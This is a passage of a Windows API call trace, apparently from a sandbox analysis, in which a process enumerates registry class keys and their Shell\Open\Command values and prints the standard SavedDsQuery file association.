phkResult=0x2eeee0*=0x0) returned 0x2 [0101.548] SetLastError (dwErrCode=0x2) [0101.548] RegCloseKey (hKey=0x0) returned 0x6 [0101.548] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3f, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpNullPhoneConverter") returned 0x0 [0101.548] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpNullPhoneConverter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.548] SetLastError (dwErrCode=0x2) [0101.548] RegCloseKey (hKey=0x0) returned 0x6 [0101.548] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc40, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpNullPhoneConverter.1") returned 0x0 [0101.548] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpNullPhoneConverter.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.548] SetLastError (dwErrCode=0x2) [0101.548] RegCloseKey (hKey=0x0) returned 0x6 [0101.548] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc41, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpObjectToken") returned 0x0 [0101.548] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpObjectToken\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.548] SetLastError (dwErrCode=0x2) [0101.548] RegCloseKey (hKey=0x0) returned 0x6 [0101.548] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc42, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpObjectToken.1") returned 0x0 [0101.548] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpObjectToken.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.548] SetLastError (dwErrCode=0x2) [0101.548] RegCloseKey (hKey=0x0) returned 0x6 [0101.548] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc43, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpObjectTokenCategory") returned 0x0 [0101.548] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpObjectTokenCategory\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.548] SetLastError (dwErrCode=0x2) [0101.548] RegCloseKey (hKey=0x0) returned 0x6 [0101.548] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc44, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpObjectTokenCategory.1") returned 0x0 [0101.549] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpObjectTokenCategory.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.549] SetLastError (dwErrCode=0x2) [0101.549] RegCloseKey (hKey=0x0) returned 0x6 [0101.549] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc45, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpObjectTokenEnum") returned 0x0 [0101.549] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpObjectTokenEnum\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.549] SetLastError (dwErrCode=0x2) [0101.549] RegCloseKey (hKey=0x0) returned 0x6 [0101.549] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc46, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpObjectTokenEnum.1") returned 0x0 [0101.549] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpObjectTokenEnum.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.549] SetLastError (dwErrCode=0x2) [0101.549] RegCloseKey (hKey=0x0) returned 0x6 [0101.549] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc47, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpPhoneConverter") returned 0x0 [0101.549] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpPhoneConverter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.566] SetLastError (dwErrCode=0x2) [0101.566] RegCloseKey (hKey=0x0) returned 0x6 [0101.566] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc48, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpPhoneConverter.1") returned 0x0 [0101.566] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpPhoneConverter.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.566] SetLastError (dwErrCode=0x2) [0101.566] RegCloseKey (hKey=0x0) returned 0x6 [0101.567] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc49, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpPhrase") returned 0x0 [0101.567] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpPhrase\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.567] SetLastError (dwErrCode=0x2) [0101.567] RegCloseKey (hKey=0x0) returned 0x6 [0101.567] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4a, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpPhrase.1") returned 0x0 [0101.567] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpPhrase.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.567] SetLastError (dwErrCode=0x2) [0101.567] RegCloseKey (hKey=0x0) returned 0x6 [0101.567] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4b, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpPhraseBuilder") returned 0x0 [0101.567] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpPhraseBuilder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.567] SetLastError (dwErrCode=0x2) [0101.567] RegCloseKey (hKey=0x0) returned 0x6 [0101.567] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4c, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpPhraseBuilder.1") returned 0x0 [0101.567] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpPhraseBuilder.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.567] SetLastError (dwErrCode=0x2) [0101.567] RegCloseKey (hKey=0x0) returned 0x6 [0101.567] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4d, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpPhraseInfoBuilder") returned 0x0 [0101.567] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpPhraseInfoBuilder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.568] SetLastError (dwErrCode=0x2) [0101.568] RegCloseKey (hKey=0x0) returned 0x6 [0101.568] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4e, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpPhraseInfoBuilder.1") returned 0x0 [0101.568] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpPhraseInfoBuilder.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.568] SetLastError (dwErrCode=0x2) [0101.568] RegCloseKey (hKey=0x0) returned 0x6 [0101.568] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4f, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpResourceManager") returned 0x0 [0101.568] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpResourceManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.568] SetLastError (dwErrCode=0x2) [0101.568] RegCloseKey (hKey=0x0) returned 0x6 [0101.568] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc50, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpResourceManager.1") returned 0x0 [0101.568] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpResourceManager.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.568] SetLastError (dwErrCode=0x2) [0101.568] RegCloseKey (hKey=0x0) returned 0x6 [0101.568] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc51, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpSharedRecoContext") returned 0x0 [0101.568] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpSharedRecoContext\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.568] SetLastError (dwErrCode=0x2) [0101.568] RegCloseKey (hKey=0x0) returned 0x6 [0101.568] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc52, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpSharedRecoContext.1") returned 0x0 [0101.568] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpSharedRecoContext.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.568] SetLastError (dwErrCode=0x2) [0101.568] RegCloseKey (hKey=0x0) returned 0x6 [0101.568] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc53, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpSharedRecognizer") returned 0x0 [0101.568] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpSharedRecognizer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.568] SetLastError (dwErrCode=0x2) [0101.568] RegCloseKey (hKey=0x0) returned 0x6 [0101.569] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc54, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpSharedRecognizer.1") returned 0x0 [0101.569] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpSharedRecognizer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.569] SetLastError (dwErrCode=0x2) [0101.569] RegCloseKey (hKey=0x0) returned 0x6 [0101.569] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc55, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpShortcut") returned 0x0 [0101.569] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpShortcut\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.569] SetLastError (dwErrCode=0x2) [0101.569] RegCloseKey (hKey=0x0) returned 0x6 [0101.569] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc56, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpShortcut.1") returned 0x0 [0101.569] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpShortcut.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.569] SetLastError (dwErrCode=0x2) [0101.569] RegCloseKey (hKey=0x0) returned 0x6 [0101.569] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc57, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpStream") returned 0x0 [0101.569] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpStream\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.569] SetLastError (dwErrCode=0x2) [0101.569] RegCloseKey (hKey=0x0) returned 0x6 [0101.569] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc58, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpStream.1") returned 0x0 [0101.569] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpStream.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.569] SetLastError (dwErrCode=0x2) [0101.569] RegCloseKey (hKey=0x0) returned 0x6 [0101.569] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc59, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpStreamFormatConverter") returned 0x0 [0101.569] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpStreamFormatConverter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.569] SetLastError (dwErrCode=0x2) [0101.569] RegCloseKey (hKey=0x0) returned 0x6 [0101.569] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5a, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpStreamFormatConverter.1") returned 0x0 [0101.569] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpStreamFormatConverter.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.569] SetLastError (dwErrCode=0x2) [0101.569] RegCloseKey (hKey=0x0) returned 0x6 [0101.570] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5b, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpTextSelectionInformation") returned 0x0 [0101.570] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpTextSelectionInformation\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.570] SetLastError (dwErrCode=0x2) [0101.570] RegCloseKey (hKey=0x0) returned 0x6 [0101.570] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5c, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpTextSelectionInformation.1") returned 0x0 [0101.570] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpTextSelectionInformation.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.570] SetLastError (dwErrCode=0x2) [0101.570] RegCloseKey (hKey=0x0) returned 0x6 [0101.570] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5d, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpUncompressedLexicon") returned 0x0 [0101.570] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpUncompressedLexicon\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.570] SetLastError (dwErrCode=0x2) [0101.570] RegCloseKey (hKey=0x0) returned 0x6 [0101.570] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5e, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpUncompressedLexicon.1") returned 0x0 [0101.570] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpUncompressedLexicon.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.570] SetLastError (dwErrCode=0x2) [0101.570] RegCloseKey (hKey=0x0) returned 0x6 [0101.570] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5f, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpVoice") returned 0x0 [0101.570] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpVoice\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.570] SetLastError (dwErrCode=0x2) [0101.570] RegCloseKey (hKey=0x0) returned 0x6 [0101.570] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc60, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpVoice.1") returned 0x0 [0101.570] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpVoice.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.570] SetLastError (dwErrCode=0x2) [0101.570] RegCloseKey (hKey=0x0) returned 0x6 [0101.570] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc61, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpWaveFormatEx") returned 0x0 [0101.570] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpWaveFormatEx\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.570] SetLastError (dwErrCode=0x2) [0101.570] RegCloseKey (hKey=0x0) returned 0x6 [0101.570] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc62, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpWaveFormatEx.1") returned 0x0 [0101.571] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpWaveFormatEx.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.571] SetLastError (dwErrCode=0x2) [0101.571] RegCloseKey (hKey=0x0) returned 0x6 [0101.571] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc63, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPIEngine.TTSEngine") returned 0x0 [0101.571] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPIEngine.TTSEngine\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.571] SetLastError (dwErrCode=0x2) [0101.571] RegCloseKey (hKey=0x0) returned 0x6 [0101.571] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc64, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPIEngine.TTSEngine.1") returned 0x0 [0101.571] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPIEngine.TTSEngine.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.571] SetLastError (dwErrCode=0x2) [0101.571] RegCloseKey (hKey=0x0) returned 0x6 [0101.571] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc65, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWeb.VisioSolutionDocumentMap") returned 0x0 [0101.571] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWeb.VisioSolutionDocumentMap\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.571] SetLastError (dwErrCode=0x2) [0101.571] RegCloseKey (hKey=0x0) returned 0x6 [0101.571] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc66, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWeb.VisioSolutionDocumentMap.1") returned 0x0 [0101.571] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWeb.VisioSolutionDocumentMap.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.571] SetLastError (dwErrCode=0x2) [0101.571] RegCloseKey (hKey=0x0) returned 0x6 [0101.571] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc67, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWeb.VisSaveAsWeb") returned 0x0 [0101.571] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWeb.VisSaveAsWeb\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.571] SetLastError (dwErrCode=0x2) [0101.571] RegCloseKey (hKey=0x0) returned 0x6 [0101.571] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc68, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWeb.VisSaveAsWeb.1") returned 0x0 [0101.571] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWeb.VisSaveAsWeb.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.571] SetLastError (dwErrCode=0x2) [0101.571] RegCloseKey (hKey=0x0) returned 0x6 [0101.572] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc69, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWeb.VisWebDispProxy") returned 0x0 [0101.572] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWeb.VisWebDispProxy\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.572] SetLastError (dwErrCode=0x2) [0101.572] RegCloseKey (hKey=0x0) returned 0x6 [0101.572] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6a, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWeb.VisWebDispProxy.1") returned 0x0 [0101.572] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWeb.VisWebDispProxy.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.572] SetLastError (dwErrCode=0x2) [0101.572] RegCloseKey (hKey=0x0) returned 0x6 [0101.572] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6b, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWeb.VisWebPageSettings") returned 0x0 [0101.572] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWeb.VisWebPageSettings\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.572] SetLastError (dwErrCode=0x2) [0101.572] RegCloseKey (hKey=0x0) returned 0x6 [0101.572] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6c, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWeb.VisWebPageSettings.1") returned 0x0 [0101.572] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWeb.VisWebPageSettings.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.572] SetLastError (dwErrCode=0x2) [0101.572] RegCloseKey (hKey=0x0) returned 0x6 [0101.572] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6d, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWebHF.SVGDispObj") returned 0x0 [0101.572] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWebHF.SVGDispObj\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.572] SetLastError (dwErrCode=0x2) [0101.572] RegCloseKey (hKey=0x0) returned 0x6 [0101.572] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6e, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWebRaster.GIFDispObj") returned 0x0 [0101.572] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWebRaster.GIFDispObj\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.572] SetLastError (dwErrCode=0x2) [0101.572] RegCloseKey (hKey=0x0) returned 0x6 [0101.572] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6f, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWebRaster.JPGDispObj") returned 0x0 [0101.573] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWebRaster.JPGDispObj\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.573] SetLastError (dwErrCode=0x2) [0101.573] RegCloseKey (hKey=0x0) returned 0x6 [0101.573] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc70, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWebRaster.PNGDispObj") returned 0x0 [0101.573] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWebRaster.PNGDispObj\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.573] SetLastError (dwErrCode=0x2) [0101.573] RegCloseKey (hKey=0x0) returned 0x6 [0101.573] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc71, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWebVML.VMLDispObj") returned 0x0 [0101.573] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWebVML.VMLDispObj\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.573] SetLastError (dwErrCode=0x2) [0101.573] RegCloseKey (hKey=0x0) returned 0x6 [0101.573] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc72, lpName=0x2eef50, cchName=0x104 | out: lpName="SaveAsWebXAML.XAMLDispObj") returned 0x0 [0101.573] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SaveAsWebXAML.XAMLDispObj\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.573] SetLastError (dwErrCode=0x2) [0101.573] RegCloseKey (hKey=0x0) returned 0x6 [0101.573] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc73, lpName=0x2eef50, cchName=0x104 | out: lpName="SavedDsQuery") returned 0x0 [0101.573] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SavedDsQuery\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.573] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xb2) returned 0x0 [0101.574] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0xb2 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\dsquery.dll,OpenSavedDsQuery %1", lpcbData=0x2eef20*=0xb2) returned 0x0 [0101.574] RegCloseKey (hKey=0x64) returned 0x0 [0101.574] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="SavedDsQuery=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\dsquery.dll,OpenSavedDsQuery %1\r\n") returned 103 [0101.574] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.574] GetFileType (hFile=0x5c) returned 0x3 [0101.574] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SavedDsQuery=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\dsquery.dll,OpenSavedDsQuery %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SavedDsQuery=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\dsquery.dll,OpenSavedDsQuery %1\r\n", lpUsedDefaultChar=0x0) returned 104 [0101.574] WriteFile 